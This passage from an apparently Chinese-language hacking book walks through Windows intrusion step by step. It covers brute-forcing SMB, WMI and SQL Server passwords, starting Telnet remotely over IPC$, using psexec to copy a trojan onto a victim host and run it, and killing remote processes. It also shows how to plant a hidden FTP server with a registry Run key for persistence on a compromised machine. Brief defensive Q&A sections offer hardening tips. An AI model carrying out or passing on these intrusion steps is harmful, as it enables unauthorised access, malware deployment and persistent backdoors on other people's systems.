入侵者就可以在命令提示符中输入“WMIcracker 192.168.0.7 gloc 1.dic 100”开始暴力破解，如图5-118所示。

图5-118　用WMIcracker进行暴力破解

（2）SMBCrack

SMBCrack和以往的SMB（共享）暴力破解工具不同，没有采用系统的API，而使用了SMB的协议。Windows 2000系统可以在同一个会话内进行多次密码试探。这个版本在扫描Windows 2000的密码时，速度大约是流光的4~5倍。

SMBCrack使用命令格式：SMBCrack<IP><Username><Password file>

·<IP>：目标IP。

·<Username >：待破解密码的账号。

·<Password file >：密码文件。

（3）CNIPC NT弱口令终结者

CNIPC NT弱口令终结者软件应该算是弱口令扫描器工具，它速度很快，也可以挂上密码字典来暴力破解，可以扫描任意IP地址段的服务器，对有IPC$空连接的服务器自动进行弱口令猜测。CNIPC NT弱口令终结者启动后的主窗口如图5-119所示。

图5-119　“CNIPC NT弱口令终结者”窗口

另外，该工具还具有基于命令行的破解方式，用法如下：

cnipc.exe[switehes]：起始IP、结束IP在并发线程数扫描前先ping。

2.暴力破解SQL口令

SQLdict是一个攻击SQL Server的字典工具。它有助于让用户了解口令在遭到攻击时是否有足够的防御能力。SQLdict工具启动后的主窗口如图5-120所示。

其中的各项含义如下：

·Target server：目标主机的IP。

·Target：待破解密码的账号。

·Load Password File：单击这里选择密码字典文件。

在设置完毕之后，单击“Strat”按钮，即可开始暴力破解，其扫描结果如图5-121所示。

图5-120　“SQL dict”窗口

图5-121　开始扫描

5.6　可能出现的问题与解决方法

1）如何才能有效抵御Telnet入侵？

解答：要想有效抵御telnet入侵，尽量降低自己的网络安全风险，管理员需要采取的措施如下：

·保证账号密码的强壮性，防止被暴力破解。

·禁用Telnet服务。

·由于opentelnet是通过IPC$来实现的，所以关闭IPC$也可以防止一些情况的发生。

·安装网络防火墙。

2）如何在注册表中预防病毒的入侵？

解答：在注册表中预防病毒入侵最基本的方法如下：

·清理访问“网络邻居”后留下的字句信息。在HEKY_CURRENT_USER-Network-Recent下，删除下面的主键。

·取消登录时自动拨号。在HKEY_LOCAL_MacHINESOFTWAREMicrosoftWindowsCurrent-VersionNetworkRealModeNet下修改右边窗口中的“autoLOGOn”为“0100000000”。

·取消登录时选择用户。已经删除了所有用户，但登录时还要选择用户，我们要取消登录时选择用户，就要在HKEY_LOCAL_MACHINENetworkLogon下的右边窗口中，修改“UserProfiles”值为“0”。

·隐藏上机用户登录的名字。

在HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionWinlogon下的右边窗口中新建字符串“DontDisplayLastUserName”，并设值为“1”。

3）在局域网中，MS SQL服务器在什么情况下可以被SQL Server Sniffer嗅探到？应该采取什么措施防范？

解答：一旦存在SQL服务器的网络登录操作，便会在SQL Server Sniffer嗅探出该SQL登录的账号和密码，它不取决于密码的复杂度，要想抵御这种嗅探，可改变MS SQL服务器的默认端口1433，并尽量减少网络登录SQL服务器的次数。

4）如何才能防止被WMICracker暴力破解？

解答：暴力破解需要入侵者有足够大、合理的密码字典和充足的时间。为了防止密码在短时间内被破解，管理员可以通过增加密码的长度、加强密码的强壮度来解决。另外，由于WMICracker暴力破解是依靠135端口进行的，因此，管理员可以通过关闭端口来防止WMICracker进行暴力破解。

5.7　总结与经验积累

本章主要讲述了基本Windows认证的入侵，主要包括IPC$的空连接漏洞、telnet高级入侵、注册表的入侵、MS SQL的入侵防御、获取账号和密码等。其中，IPC$是入侵者实现入侵的关键，一旦入侵者获取了一定权限的账号，就可以通过IPC$、telnet、注册表、MS SQL等方法来实现入侵。

为了方便理解，这里假设目标主机/服务器的认证密码为空或非常简单（其实在实际应用中，这种主机也是大量存在的），并通过图解讲述了当一台主机的账号/密码被入侵者掌握后，入侵者是如何实现远程控制的，即入侵者可以通过IPC$的空连接漏洞、telnet高级入侵、注册表、MS SQL服务器等来实现入侵目标主机及相应的安全解决方案。

第6章　远程管理Windows系统

远程控制是在网络上由一台计算机（主控端Remote/客户端）远距离去控制另一台计算机（被控端Host/服务器端）的技术，这里的远程不是字面意思的远距离，一般指通过网络控制远端计算机。计算机中的远程控制技术始于DOS时代，只不过当时由于网络不发达，市场没有更高的要求，所以远程控制技术没有引起更多人的注意。但随着网络的高度发展，计算机的管理及技术支持的需要，远程操作及控制技术越来越引起人们的关注。

主要内容：

●远程计算机管理入侵

●FTP远程入侵

●总结与经验积累

●远程命令执行与进程查杀

●可能出现的问题与解决方法

6.1　远程计算机管理入侵

入侵者与远程主机建立IPC$连接成功，就可以控制该远程主机了。此时，入侵者不使用入侵工具也可以实现远程管理Windows系统的计算机。使用Windows系统自带的“计算机管理”工具就可以很容易让入侵者进行账号、磁盘以及服务等计算机管理。

6.1.1　计算机管理概述

可以使用“计算机管理”窗口管理本地和远程计算机。计算机管理是管理工具集，可以用于管理单个的本地或远程计算机。它将几个管理实用程序合并到控制台树，并提供对管理属性和工具的便捷访问。

“计算机管理”窗口具有与“Windows资源管理器”窗口相似的双窗格视图。控制台树在左窗格，结果或详细信息在右窗格。当从控制台树中选择项目时，关于该项目的信息将显示在细节窗格中。该信息可能包括选定项目可用的内容、数据或子工具的详细信息。“计算机管理”包含下面三个项目：系统工具、存储以及服务和应用程序，如图6-1所示。

图6-1　“计算机管理”窗口

可以使用“计算机管理”窗口做下列操作：

·监视系统事件，如登录时间和应用程序错误。

·创建和管理共享资源。

·查看已连接到本地或远程计算机的用户的列表。

·启动和停止系统服务，如“任务计划”和“索引服务”。

·设置存储设备的属性。

·查看设备的配置以及添加新的设备驱动程序。

·管理应用程序和服务。

需要注意的是：如果不是Administrator组成员，可能没有查看或修改某些属性或执行某些任务的权限。下面有3种方法可以打开“计算机管理”窗口。

·在Windows 7操作系统中，选择“开始”→“控制面板”→“管理工具”选项，如图6-2所示。在管理工具窗口中双击“计算机管理”菜单项，如图6-3所示，即可打开“计算机管理”窗口。

·右击桌面上的“计算机”图标，在弹出的快捷菜单中选择“管理”菜单项，如图6-4所示，即可打开“计算机管理”窗口。

·在“运行”对话框中输入“compmgmt.msc”命令，如图6-5所示，即可打开“计算机管理”窗口。

图6-2　“控制面板”窗口

图6-3　双击“计算机管理”菜单项

图6-4　选择“管理”菜单项

图6-5　输入“compmgmt.msc”命令

6.1.2　连接到远程计算机并开启服务

可以在“计算机管理”窗口与远程主机建立连接，并在其中开启相应的任务，具体的操作步骤如下。

步骤1：在“计算机管理”窗口中建立与远程主机连接成功之后，远程主机的IP就显示在“计算机管理”窗口中了，如图6-6所示。

步骤2：单击“服务和应用程序”前面的“+”来展开项目之后，在展开项目中单击“服务”项目，再在右边列表中选择“Task Scheduler”服务，如图6-7所示。

步骤3：右击该服务，在弹出的快捷菜单中选择“属性”选项，即可打开“Task Scheduler的属性（192.168.0.9）”对话框，如图6-8所示。

步骤4：把“启动类型”设置为“自动”选项之后，在“服务状态”中单击“启动（S）”按钮，即可启动Task Scheduler服务。在经过这样设置之后，该服务会在每次开机时自动启动。

步骤5：在服务列表中选择“Telnet”选项，从该项服务状态中可以知道Telnet服务没有启动，采用需要启动该项服务，如图6-9所示。

图6-6　与远程计算机建立连接

图6-7　选择“Task Scheduler”服务

图6-8　“Task Scheduler的属性（192.168.0.9）”对话框

图6-9　开启Telnet服务

6.1.3　查看远程计算机信息

在“计算机管理”窗口中显示了一些关于系统硬件、软件、事件、日志、用户等信息，这些信息对于主机的安全非常敏感。计算机管理远程连接为入侵者透露了相当多的软件和硬件信息。虽然能够与远程主机建立IPC$连接，并可使用“计算机管理”来管理远程主机，但并不是每台远程主机都“愿意”泄露关键信息，或只有很少部分的主机会泄露这些信息。

1.事件查看器

事件查看器用来查看关于“应用程序”“安全性”“系统”这三个方面的日志，如图6-10所示。每一方面的日志的作用如下：

（1）应用程序日志

应用程序日志包含由应用程序或系统程序记录的事件。例如，数据库程序可在应用日志中记录文件错误。程序开发员决定记录哪一个事件。

图6-10　事件查看器中的日志

（2）系统日志

系统日志包含Windows的系统组件记录的事件。例如，在启动过程将加载的驱动程序或其他系统组件的失败记录在系统日志中。Windows预先确定由系统组件记录的事件类型。

（3）安全日志

安全日志可以记录安全事件，如有效的和无效的登录尝试，以及与创建、打开或删除文件等资源使用相关联的事件。管理器可以指定在安全日志中记录什么事件。例如，如果已启用登录审核，登录系统的尝试将记录在安全日志里。

事件查看器显示这些事件的类型：错误、警告、信息、成功审核、失败审核。查看日志是每一个管理员必须做的日常事务。通过查看日志，管理员不仅能够得知当前系统的运行状况、健康状态，而且能够通过登录成功或失败审核来判断是否有入侵者尝试登录该计算机，甚至可以从这些日志中找出入侵者的IP。因此，事件日志是管理员和入侵者都十分敏感的部分。入侵者总是要想方设法清除掉这些日志。

2.共享信息及共享会话

通过“计算机管理”可以查看该机的共享信息和共享会话（IPC$也属于这种会话）。在“共享”中可以查看该机开放的共享资源，如图6-11所示。

图6-11　查看本机的开放资源

管理员也可以通过“会话”来查看计算机是否与远程主机存在IPC$连接，借此获取入侵者的IP地址，其中IP地址为“192.168.0.9”的计算机存在连接，如图6-12所示。

3.用户和组

通过“计算机管理”可以查看远程主机用户和组的信息，如图6-13所示，但不能在这里执行“新建用户”和“删除用户”的操作。

图6-12　查看与远程主机存在的IPC$连接

图6-13　查看用户和组

6.1.4　用远程控制软件实现远程管理

入侵者除了通过Windows自带的管理工具来开启远程主机上的服务之外，还有许多种方法可以实现此远程管理功能。

1．通过“BAT文件”和“计划任务服务”开启远程主机服务

如果入侵者能够使用管理员账号与远程主机成功建立IPC$连接，就可以通过at命令在远程主机上执行任何命令。下面以开启远程主机“Telnet服务”为例，来介绍如何通过“BAT文件”和“计划任务服务”开启远程主机服务。

具体的操作步骤如下。

步骤1：编写BAT文件。在“记事本”中键入“net start telnet”命令并另存为TEL.BAT文件。其中“net start”是用来开启服务的命令，与之相对的命令是“net stop”。“net start”后为服务的名称，表示开启何种服务，在本例中开启Telnet服务。

步骤2：建立IPC$连接，把TEL.BAT文件复制到远程主机。

步骤3：使用“net time”命令查看远程主机的系统时间之后，再使用“at”命令建立计划任务。

需要说明的是，如果远程主机禁用了Telnet服务，则这种方法将会失败，也即这种方法只能开启类型为“手动”的服务。

2.使用工具netsvc.exe开启远程主机服务

使用netsvc.exe来控制和显示在本地或远程计算机中的Windows NT服务，可以使用netsvc.exe来查看当前驱动程序的状态。netsvc.exe是命令行实用程序，可以使用户管理和查询Windows NT工作站或服务器。为了使用此工具，目标计算机上首先必须有足够大的权限。这种方法不需要通过远程主机的“计划任务服务”。

命令格式：netsvc\\IP SVC/START。

·“IP”：为目标主机IP。

·“SVC”：为预开启的服务名。

·“/START”：表示开启服务。

netsvc中自带的说明如下：

netsvc servicename \\computername /command

servicename Name of the service

computername Name of the computer to administer.

/command One of the following:

/query Queries the status of the service.

/start Starts the service.

/stop Stops the service.

/pause Pauses the service.

/continue Starts the paused service.

/list Lists installed services （ omit servicename ）

Example: NETSVC server \\joes486 /query

Example: NETSVC "Clipbook Server" \\popcorn /stop

Example: NETSVC alerter \\joes486 /pause

Example: NETSVC /list \\joes486

在命令提示符中键入“netsvc\\192.168.0.9 schedule/start”命令，开启远程主机192.168.0.9中的“计划任务服务”。在命令提示符中键入“netsvc\\192.168.0.9 telnet/start”命令，即可开启远程主机的Telnet服务。

6.2　远程命令执行与进程查杀

可以在远程主机上执行命令是入侵者的目的，能够在远程主机上执行任何命令就是完全控制了远程主机。在这里从PSEXEC软件开始，介绍入侵者实现远程执行命令的另一种方法和常见的进程查杀技术。

6.2.1　远程执行命令

PSEXEC为远程执行命令软件，PSEXEC是一个类似于Telnet和PC Anywhere工具，允许远程在Windows下执行任意程序，且可以不设置客户端直接执行。

PSEXEC工具使用方法如下：

psexec \\computer[-u user [-p passwd]] [-s] [-i] [-c [-f]] [-d] cmd [arguments]

·-u：登录远程主机的用户名。

·-p：登录远程主机的密码。

·-i：与远程主机交互执行。

·-c：复制本地文件到远程主机系统目录并执行。

·-f：复制本地文件到远程主机系统目录并执行，如果远程主机已存在该文件，则覆盖。

·-d：不等待程序结束。

如果命令或程序含有空格，则要用双引号括起来，如：psexec file：//emile/"C：\long name app.exe"。

实例1：通过PSEXEC可实现与Telnet登录同样的功能，在命令提示符中键入“psexec\\192.168.0.9-u 1-p"037971"cmd”命令，便可在本地计算机上打开远程主机192.168.0.9上的命令行Shell，如图6-14所示。在该命令行Shell中输入的命令会在远程主机上直接执行，这就实现了与Telnet登录同样的功能。

实例2：通过PSEXEC，入侵者还可把本地木马程序复制到远程主机执行，在命令提示符中键入“psexec\\192.168.0.9-u 1-p"037971"-d-c c：\rarx300.exe”命令，便可将本地C盘中的rarx300exe木马程序复制到远程主机192.168.0.9上并自动执行，如图6-15所示。其中参数-d表示执行完毕后马上结束PSEXEC进程。

图6-14　输入打开远程主机上的命令行shell的命令

图6-15　输入将本地木马程序复制到远程主机执行的命令

若rarx300.exe已存在于远程主机的system32文件夹中，则需输入“psexec\\192.168.0.9-u 1-p"037971"-d-c-f c：\rarx300.exe”命令来覆盖已经存在的同名文件，其中的参数“-f”含义就是覆盖已经存放的文件。

另外，PSEXEC工具中的参数“-i”为与远程主机进行交换式执行，即在本地执行命令的同时，远程主机会发现这个命令的执行，所以该参数不经常使用。

可见，PSEXEC执行过程没有类似Telnet的登录过程，不容易被日志记录。与PSEXEC功能类似的还有RemoteNC工具。

6.2.2　查杀系统进程

使用PSEXEC工具和AProMan工具均可实现查杀系统进程，其中PSEXEC用来远程执行命令，工具“AProMan”用来查看进程、端口与进程的关联关系，并杀死指定进程，还可把进程和模块列表导出到文本文件中。

AProMan.exe的使用方法如下。

·AProMan-p：显示端口进程关联关系（需Administrator权限）。

·AProMan-t[PID]：杀掉指定进程号的进程。

·AProMan-f[FileName]：把进程及模块信息存入文件。

实现查杀进程的过程如下。

步骤1：上传AProMan.exe。先把AProMan.exe复制到本地D盘下，在“命令提示符”窗口中键入“psexec\\192.168.0.9-u 1-p"037971"-d-c c：\AProMan.exe”命令，其中“1”为计算机名，其运行结果如图6-16所示。

步骤2：查看远程主机进程。在命令提示符窗口中键入“psexec\\192.168.0.9/-u 1-p"037971"AProMan-a”命令，即可在本地机中获得远程主机中的进程列表，如图6-17所示。

图6-16　上传AproMan工具

图6-17　查看远程主机进程

步骤3：杀死远程主机进程。在获得远程主机进程列表之后，便可通过AProMan杀死指定进程。比如要杀死远程主机中暴风影音“Stormliv.exe”，先查出暴风影音防火墙进程的PID为1688，在“命令提示符”窗口中输入“psexec\\192.168.0.9-u 1-p"037971"-d AProMan-t 1688”命令，即可杀掉该进程，如图6-18所示。

图6-18　杀死远程主机中的进程

除通过工具“PSEXEC”与“AproMan”来实现查、杀系统进程之外，还可以通过工具“pslist.exe”与“pskill.exe”来实现查、杀系统进程。其中“pslist.exe”是在命令行方式下远程查看进程的工具，而“pskill.exe”是在命令行方式下远程杀进程的工具。通过这两款工具实现查、杀系统进程，并不用把任何程序复制到远程主机内部，pslist.exe和pskill.exe可在本地对远程主机的进程进行操作。

pslist.exe的命令格式：pslist［-t］［-m］［-x］［\\computer］［-u username］［-p password］［namelpid］。其中的参数含义如下：

·-t：显示线程；

·-m：显示内存细节；

·-x：显示进程、内存和线程；

·\\computer：远程主机；

·-u：用户名；

·-p：密码；

·name：列出指定用户的进程；

·pid：显示指定PID的进程信息。

pslist.exe工具的使用方法如图6-19所示。pskill.exe工具的使用方法如图6-20所示。

图6-19　pslist的使用方法

图6-20　pskill的用法

pskill.exe工具的命令格式为：pskill[\\远程主机[-u用户名]]<进程号或进程名>。

仍然以杀掉暴风影音进程为例，在命令提示符窗口中输入“pskill\\192.168.0.9-u 1-p"037971"Stormliv.exe”命令，其运行结果如图6-21所示。

图6-21　杀掉暴风影音进程

这两个工具可分别在本地机上查、杀远程主机系统进程，功能比较强大。

此外，再介绍一款能够杀死TCP连接的工具KillTCP，它能够列出本地活动连接、杀死指定连接、列出TCP监听端口，不过这款工具需要复制到远程主机上使用，具体参数如下：

·Killtcp-1：列出本地活动连接。

·Killtcp-k：杀死指定连接。

·Killtcp-a：列出TCP端口。

6.2.3　远程执行命令方法汇总

有3种方法可以远程执行命令：通过计划任务执行；通过Telnet执行；通过PSEXEC程序执行。

·通过计划任务远程执行命令，需要入侵者掌握远程主机管理员账号和密码，能建立IPC$连接，并开放计划任务服务。此外，还通常需要编写BAT文件配合。

·通过Telnet远程执行命令，需要入侵者掌握远程主机管理员账号和密码，并开放Telnet服务。

·通过PSEXEC远程执行命令，需要远程主机开放Server服务及IPC服务，也需要掌握远程主机管理员账号和密码。

这3种方式都需要入侵者掌握远程主机的管理员账号和密码，但不是只要入侵者有管理员账号和密码就可以执行远程命令，还需要一些其他条件。

将这些条件比较一下，如果能建立IPC$连接，PSEXEC更简单容易些，Telnet一般还需去除NTLM验证；如果不能建立IPC$连接，则只有通过Telnet登录方式实现远程命令的执行了。如果通过计划任务的方式可以完成，则PSEXEC也可以完成。

因此，如果能够与远程计算机建立IPC$连接，就可以使用PSEXEC来远程执行命令。对于Telnet方式，由于大多数计算机都不开放Telnet服务，所以在Telnet登录前，还需要开启远程计算机的Telnet服务。另外，Telnet登录容易被远程主机日志记录，所以入侵者不会采用Telnet方式。

6.3　FTP远程入侵

尽管Telnet提供了访问远程文件的极好方法，但总比不上使用自己计算机中的文件方便。如果用户想使用其他计算机上的文件，最理想的方法就是将其复制到自己的计算机中，以便在本地计算机上操作。

6.3.1　FTP相关内容

FTP（File Transfer Protocol，文件传输协议）的任务是从一台计算机将文件传送到另一台计算机，它与这两台计算机所处位置、联系方式以及使用的操作系统无关。假设两台计算机能与FTP协议对话，并且能访问Internet，就可以用FTP软件的命令来传输文件。对于不同的操作系统在具体操作上可能会有些细微差别，但其基本的命令结构是相同的。

FTP可以在任意个可经FTP访问的公共有效的联机数据库或文档中，找到想要的任何数据信息。FTP采用“客户机/服务器”方式，用户端要在自己的本地计算机上安装FTP客户程序。FTP客户程序有字符界面和图形界面（如Cute FTP）两种。

先研究在字符界面上已有账号（注册名和口令）的两台计算机之间传送文件，再讨论“匿名FTP”（它是一特殊服务，允许用户在没有账户的情况下，访问公共FTP数据库）。大多数公共数据库提供了匿名FTP路径，这意味着用户即使没有注册名也可以得到很多免费文件。在“命令提示符”窗口中输入“ftp-help”命令，即可得到FTP的基本命令，如图6-22所示。

图6-22　FTP的基本命令

FTP的命令行格式为：ftp-v-d-i-n-g[主机名]。

·-v显示远程服务器的所有响应信息；

·-n限制ftp的自动登录；

·-d使用调试方式；

·-g取消全局文件名。

FTP使用的内部命令如下（中括号表示可选项）：

·！[cmd[args]]：在本地机中执行交互shell，exit回到ftp环境，如！ls*.zip。

·$macro-ame[args]：执行宏定义macro-name。

·account[password]：提供登录远程系统成功后访问系统资源所需的补充口令。

·append local-file[remote-file]：将本地文件追加到远程系统主机，若未指定远程系统文件名，则使用本地文件名。

·ascii：使用ascii类型传输方式。

·bell：每个命令执行完毕后计算机响铃一次。

·bin：使用二进制文件传输方式。

·bye：退出ftp会话过程。

·case：在使用mget时，将远程主机文件名中的大写转为小写字母。

·cd remote-dir：进入远程主机目录。

·cdup：进入远程主机目录的父目录。

·chmod mode file-name：将远程主机文件file-name的存取方式设置为mode，如chmod 777 a.out。

·close：中断与远程服务器的FTP会话（与open对应）。

·cr：使用asscii方式传输文件时，将回车换行转换为回行。

·delete remote-file：删除远程主机文件。

·debug[debug-value]：设置调试方式，显示发送至远程主机的每条命令，如debug 3，若设为0，表示取消debug。

·dir[remote-dir][local-file]：显示远程主机目录，并将结果存入本地文件。

·disconnection：同close。

·form format：将文件传输方式设置为format，缺省为file方式。

·get remote-file[local-file]：将远程主机的文件remote-file传至本地硬盘的local-file。

·glob：设置mdelete，mget，mput的文件名扩展，缺省时不扩展文件名，同命令行的-g参数。

·hash：每传输1024字节，显示一个hash符号（#）。

·help[cmd]：显示FTP内部命令cmd的帮助信息，如：help get。

·idle[seconds]：将远程服务器的休眠计时器设为[seconds]秒。

·image：设置二进制传输方式（同binary）。

·lcd[dir]：将本地工作目录切换至dir。

·ls[remote-dir][local-file]：显示远程目录remote-dir，并存入本地文件local-file。

·macdef macro-name：定义一个宏，遇到macdef下的空行时，宏定义结束。

·mdelete[remote-file]：删除远程主机文件。

·mdir remote-files local-file：与dir类似，但可指定多个远程文件，如mdir*.o.*.zipoutfile。

·mget remote-files：传输多个远程文件。

·mkdir dir-name：在远程主机中建一目录。

·mls remote-file local-file：同nlist，但可指定多个文件名。

·mode[modename]：将文件传输方式设置为modename，缺省为stream方式。

·modtime file-name：显示远程主机文件的最后修改时间。

·mput local-file：将多个文件传输至远程主机。

·newer file-name：如果远程主机中file-name的修改时间，比本地硬盘同名文件的时间更近，则重传该文件。

·nlist[remote-dir][local-file]：显示远程主机目录文件清单，并存入本地硬盘的local-file。

·nmap[inpattern outpattern]：设置文件名映射机制，使得文件传输时文件中的某些字符相互转换，如nmap..[，].[，]，则传输文件a1.a2.a3时，文件名变为a1，a2。该命令特别适用于远程主机为非UNIX机的情况。

·ntrans[inchars[outchars]]：设置文件名字符的翻译机制，如ntrans1R，则文件名LLL将变为RRR。

·open host[port]：建立指定ftp服务器连接，可指定连接端口。

·passive：进入被动传输方式。

·prompt：设置多个文件传输时的交互提示。

·proxy ftp-cmd：在控制连接中执行一条FTP命令，该命令允许连接两个ftp服务器，以在两个服务器间传输文件。第一条FTP命令必须为open，以建立两个服务器间的连接。

·put local-file[remote-file]：将本地文件local-file传送至远程主机。

·pwd：显示远程主机的当前工作目录。

·quit：同bye类似，退出FTP会话。

·quote arg1，arg2...：将参数逐字发至远程FTP服务器，如quote syst。

·recv remote-file[local-file]：同get命令。

·reget remote-file[local-file]：类似于get命令，但若local-file存在，则从上次传输中断处续传。

·rhelp[cmd-name]：请求获得远程主机的帮助。

·rstatus[file-name]：若未指定文件名，则显示远程主机的状态，否则显示文件状态。

·rename[from][to]：更改远程主机文件名。

·reset：清除回答队列。

·restart marker：从指定的标志marker处，重新开始get或put，如restart 130。

·rmdir dir-name：删除远程主机目录。

·runique：设置文件名唯一性存储，若文件存在，则在原文件后加后缀.1，.2等。

·send local-file[remote-file]：同put。

·sendport：设置PORT命令的使用。

·site arg1，arg2...：将参数作为SITE命令逐字发送至远程ftp主机。

·size file-name：显示远程主机文件大小，如size idle 7200。

·status：显示当前ftp状态。

·struct[struct-name]：将文件传输结构设置为struct-name，缺省时使用stream结构。

·sunique：将远程主机文件名存储设置为唯一（与runique对应）。

·system：显示远程主机的操作系统类型。

·tenex：将文件传输类型设置为TENEX机所需的类型。

·tick：设置传输时的字节计数器。

·trace：设置包跟踪。

·type[type-name]：设置文件传输类型为type-name，缺省时为ascii，如type binary，设置二进制传输方式。

·umask[newmask]：将远程服务器的缺省umask设置为newmask，如umask 3。

·user user-name[password][account]：向远程主机表明自己的身份，需要口令时必须输入口令，如user anonymous my@email。

·verbose：同命令行的-v参数，即设置详尽报告方式，FTP服务器的所有响应都将显示给用户，缺省为on。

·？[cmd]：同help命令。

6.3.2　扫描FTP弱口令

利用扫描器可以获得FTP弱口令，这里以X-Scan为例介绍如何扫描FTP弱口令，具体的操作步骤如下：

步骤1：在X-Scan运行窗口中，选择“设置”→“扫描参数”菜单项，即可打开“扫描参数”对话框，如图6-23所示。

图6-23　设置扫描的IP范围

步骤2：在左边切换到“检测范围”选项卡，在“指定IP范围”文本框中输入要检测的IP地址范围。再切换到“全局设置”栏目中的“扫描模块”选项卡下，勾选其中的“FTP弱口令”复选框，如图6-24所示。

图6-24　勾选“FTP弱口令”复选框

步骤3：在设置完毕之后，单击“确定”按钮，再单击X-Scan主窗口中的“扫描”按钮，即可开始扫描。要是在设定的IP范围内有FTP漏洞，就会扫描到该主机上的FTP弱口令。

6.3.3　设置FTP服务器

在入侵别人计算机时，经常需要一个FTP服务器去申请主页空间，附带的FTP服务器常常有各种限制，而且，不小心就会暴露了自己的身份。因此，建立一个专用FTP服务器是很有用的。

Slimftp就是一个很好的FTP服务器，它体积小巧且不需要安装，在console下就可以运行，绝对不会弹出窗口，提供了标准的上传、下载功能，而且可以更改服务端口、设置用户权限等。这里假设已经获得一个管理员或系统权限的shell，下面就设置其必需的权限。设置权限分为本地设置和服务器设置两种。

（1）本地设置

运行Slimftp主程序之后，其运行主窗口分为三部分，最上面是服务器的参数的设置，左下方是用户账号的设置，右下方是访问目录的设置，如图6-25所示。对于服务器参数的设置，只需要对server port（服务器端口）进行一下设置就可以了，因为服务器上通常还运行有FTP服务器，所以，要改一个不一样的端口，这里设置了6666，另外两个参数就不用设置了。

具体的操作步骤如下：

步骤1：添加一个用户。在Slimftp主窗口中单击“New”按钮，如图6-26所示。即可打开“New User”对话框，在其中输入一个用户名user1，单击“OK”按钮，如图6-27所示。

图6-25　Slimftp主窗口

图6-26　单击“New”按钮

图6-27　输入一个用户名user1

步骤2：返回主界面，选中刚添加的用户之后，单击“Set Password”按钮，如图6-28所示，即可打开“Set Password”对话框，在其中输入一个密码123，单击“OK”按钮，如图6-29所示。

步骤3：返回Slimftp主窗口中。在“Local root”文本框中输入一个路径“c：\”，这是作为root用户的根目录的，单击“New”按钮，如图6-30所示。

步骤4：打开“New Permission”对话框，在其中输入/，单击“OK”按钮，如图6-31所示。

图6-28　单击“Set Password”按钮

图6-29　输入一个密码

图6-30　单击“New”按钮

图6-31　输入/

步骤5：返回主窗口，将Slimftp运行主窗口中的四个权限复选框全部勾选，如图6-32所示。

图6-32　主窗口

各个权限的具体含义如下。

·Read：权限允许用户下载文件。

·Write：权限允许用户上传文件。

·List：权限允许用户看目录列表。

·Admin：权限允许用户删除FTP服务器上的文件，如果需要还可以创建多个用户。

（2）远程操作

将ftp.reg、slimftp2.exe、reg.exe都上传到“肉鸡”之后，再将slimftp2.exe复制到肉鸡的系统目录（通常为c：\winnt\Systems32，假如不存在）上。

此时，再运行如下程序：

reg import ftp.reg 

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Winsock2up /d slimftp2.exe 

copy slimftp2.exe %****root%\****32 

slimftp2.exe 

在运行“copy slimftp2.exe%****root%\****32”时如果提示出错，则是因为slimftp2.exe已经是在系统目录上了。此时只需删除ftp.reg文件，就完成FTP服务器的制作了。这样，即使“肉鸡”重启之后，刚才建立的FTP服务器也会照样运行。

6.4　可能出现的问题与解决方法

1）为什么使用计算机管理与远程主机连接，会出现失败的情况？

解答：使用计算机管理与远程主机连接失败的原因，主要有如下4个方面：

·目标主机没有开启Server服务。

·没有获取远程主机的管理员账号和密码。

·IP地址错误，如果本地计算机与远程主机不在一个局域网中，则应该是使用IP地址而不是使用主机名进行连接。

·目标主机不是Windows NT/2000/XP/7/Server 2003等操作系统。

2）为什么虽然使用“计算机管理”与远程主机成功建立了连接，但无法查看该主机上的“本地用户和组”呢？

解答：出现这种情况是很正常的，大多数主机都不能被查出，虽然能够与远程主机建立IPC$连接，并可使用“计算机管理”功能来管理远程主机，但并不是每台远程主机都“愿意”泄露关键信息，或者说只有很少部分的主机会泄露这些信息。当然，查看同一个局域网内主机的可能性高一些。用户可以通过在“计算机管理”窗口中选择“系统工具”→“本地用户和组”菜单项的方法来实现查看“本地用户和组”功能。

3）如何预防计算机被远程入侵？

解答：系统中的远程终端服务是一项功能非常强大的服务，同时也成了入侵者长驻主机的通道，入侵者可以利用一些手段得到管理员账号和密码并入侵主机。

远程终端服务是基于端口3389的。入侵者一般先扫描主机开放端口，一旦发现其开放了3389端口，就会进行下一步的入侵，所以只需要修改该服务默认端口，就可以避开大多数入侵者的耳目。

打开“开始→运行”，输入“regedit”，打开注册表，进入以下路径：HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWds dpwdTds cp，PortNamber的值默认值是3389，将其修改成所希望的端口即可，例如6011。再打开HKEY_LOCAL_MACHINESYSTEMCurrentContro1SetControlTenninal ServerWinStationsRDP_Tcp，将PortNumber的值（默认是3389）修改成端口6011。修改完毕后，重新启动计算机，由此，在以后远程登录的时候，就可以使用端口6011了。

6.5　总结与经验积累

本章介绍了通过远程管理Windows系统来进行入侵。从远程计算机的管理入侵、远程终端服务入侵、FTP远程入侵以及远程命令的执行等4个方面，通过大量实例重现了实际应用中频繁出现的入侵实例，这些实例由浅入深地向读者介绍了入侵过程的方方面面，可使读者对远程管理Windows系统有更加深入的了解。

第7章　局域网攻击与防范

目前黑客利用各种专门攻击局域网工具对局域网进行攻击，鉴于此，本章向用户介绍黑客常用的局域网攻击工具，读者可以详细了解这些工具的使用方法，做好安全防护。

主要内容：

●局域网安全介绍

●绑定MAC防御IP冲突攻击

●利用网络守护神实现DNS欺骗

●ARP欺骗与防御

●局域网助手攻击与防御

●局域网监控工具

7.1　局域网安全介绍

目前越来越多的企业建立自己的局域网以实现企业信息资源共享或者在局域网上运行各类业务系统。随着企业局域网应用范围的扩大、保存和传输的关键数据增多，局域网的安全性问题显得日益突出。

7.1.1　局域网基础知识

局域网（Local Area Network，LAN）是指在某一区域内由多台计算机互联成的计算机组，一般是方圆几千米。局域网把个人计算机、工作站和服务器连在一起，在局域网中可以进行管理文件、共享应用软件、共享打印机、安排工作组内的日程、发送电子邮件和传真通信服务等操作。局域网是封闭型的，可以由办公室内的两台计算机组成，也可以由一个公司内的数百台计算机组成。由于距离较近，传输速率较快，从10 Mbps到1000 Mbps不等。局域网常见的分类方法有以下几种：

1）按采用技术可分为不同种类，如Ether Net（以太网），FDDI，Token Ring（令牌环）等；

2）按联网的主机间的关系，又可分为两类：对等网和C/S（客户/服务器）网；

3）按使用的操作系统不同又可分为许多种，如Windows网和Novell网；

4）按使用的传输介质又可分为细缆（同轴）网、双绞线网和光纤网等。

局域网最主要的特点是：网络为一个单位所拥有，且地理范围和站点数目均有限。局域网具有如下的一些主要优点：

1）网内主机主要为个人计算机，是专门适于微机的网络系统。

2）覆盖范围较小，一般在几千米之内，适于单位内部联网。

